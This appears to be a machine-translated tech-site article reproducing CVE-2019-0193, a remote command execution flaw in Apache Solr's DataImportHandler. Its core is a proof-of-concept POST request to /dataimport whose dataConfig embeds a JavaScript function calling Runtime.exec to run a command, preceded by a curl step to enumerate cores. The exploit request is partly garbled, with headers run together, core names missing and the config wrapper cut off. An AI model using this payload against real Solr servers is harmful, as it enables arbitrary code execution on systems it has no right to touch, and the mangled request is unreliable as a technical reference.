Shulou(Shulou.com)06/01 Report--

Today, I will talk to you about the example analysis of the recurrence of CVE-2019-0193 vulnerabilities in Apache Solr remote command execution. Many people may not know much about it. In order to make you understand better, the editor has summarized the following for you. I hope you can get something from this article.

0x01 scope of influence Apache Solr

Then visit http://localhost:8983/solr to access the environment

To exploit 0x03 vulnerabilities, we can first obtain all core information through the interface curl http://127.0.0.1:8983/solr/admin/cores. Next, we need name information to construct payload.

Send the following POC in Burp to execute the command pop-up calculator, the following needs to be replaced with the name of the core you obtained (a total of two places)

POST / solr//dataimport HTTP/1.1Host: 127.0.0.1:8983Content-Length: 763User-Agent: Mozilla/5.0Content-type: application/x-www-form-urlencodedConnection: close

Command=full-import&verbose=false&clean=false&commit=true&debug=true&core=&name=dataimport&dataConfig=function poc (row) {var process= java.lang.Runtime.getRuntime (); process.exec ("calc"); return row;}]] > the execution effect is as follows:

After reading the above, do you have any further understanding of the example analysis of the recurrence of CVE-2019-0193 vulnerabilities in Apache Solr remote command execution? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.